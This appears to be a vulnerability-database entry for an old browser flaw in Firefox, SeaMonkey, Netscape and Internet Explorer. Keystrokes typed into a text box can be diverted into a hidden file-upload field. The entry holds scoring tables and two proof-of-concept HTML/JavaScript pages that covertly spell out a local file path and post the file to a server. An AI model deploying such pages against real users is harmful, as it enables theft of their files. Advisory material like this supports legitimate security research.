CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Mozilla Firefox 1.5.0.4, 2.0.x before 2.0.0.8, Mozilla Suite 1.7.13, Mozilla SeaMonkey 1.0.2 and other versions before 1.1.5, and Netscape 8.1 and earlier allow user-assisted remote attackers to read arbitrary files by tricking a user into typing the characters of the target filename in a text box and using the OnKeyDown, OnKeyPress, and OnKeyUp Javascript keystroke events to change the focus and cause those characters to be inserted into a file upload input control, which can then upload the file when the user submits the form.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4
AV:N/AC:H/Au:N/C:P/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
15.27%
–
–
2022-03-13
–
–
15.27%
–
–
2022-04-03
–
–
15.27%
–
–
2023-03-12
–
–
–
1%
–
2023-04-16
–
–
–
2.41%
–
2023-05-21
–
–
–
3.89%
–
2023-07-02
–
–
–
4.09%
–
2023-08-06
–
–
–
3.35%
–
2023-09-17
–
–
–
4.29%
–
2023-11-05
–
–
–
5.95%
–
2023-12-24
–
–
–
6.97%
–
2024-02-11
–
–
–
6.34%
–
2024-04-07
–
–
–
6.34%
–
2024-06-02
–
–
–
6.34%
–
2024-09-29
–
–
–
8.7%
–
2024-12-22
–
–
–
8.73%
–
2025-01-19
–
–
–
8.73%
–
2025-03-18
–
–
–
–
6.73%
2025-03-30
–
–
–
–
6.73%
2025-04-15
–
–
–
–
6.73%
2025-04-15
–
–
–
–
6.73,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/18308/info
Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.
This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.
Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.
Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.
<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
color: white;
background-color: white;
opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;
//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
{
saved = chucky.which;
//alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
i > mystring.length-1) {
return false;
}
i++;
return true;
};
function doKeyUp () {
document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();
}
</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">
</FORM>
</BODY>
</HTML>
source: https://www.securityfocus.com/bid/18308/info
Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.
This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.
Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.
Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.
<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;
//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;
function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
{
//e.keyCode =0;
e.returnValue=false;
e.cancelBubble=true;
}
else {
i--;
}
document.forms[0].fileupload.focus();
}
function doKeyUp () {
document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();
}
function switchtype() {
/* var e = document.getElementById('txt');
document.forms[0].txt.setAttribute("type", "file");
e.setAttribute("value", "asfasfsd");
*/
}
function fux0rKeys() {
}
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>
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Mozilla>>Firefox >> Version To (including) 2.0.0.8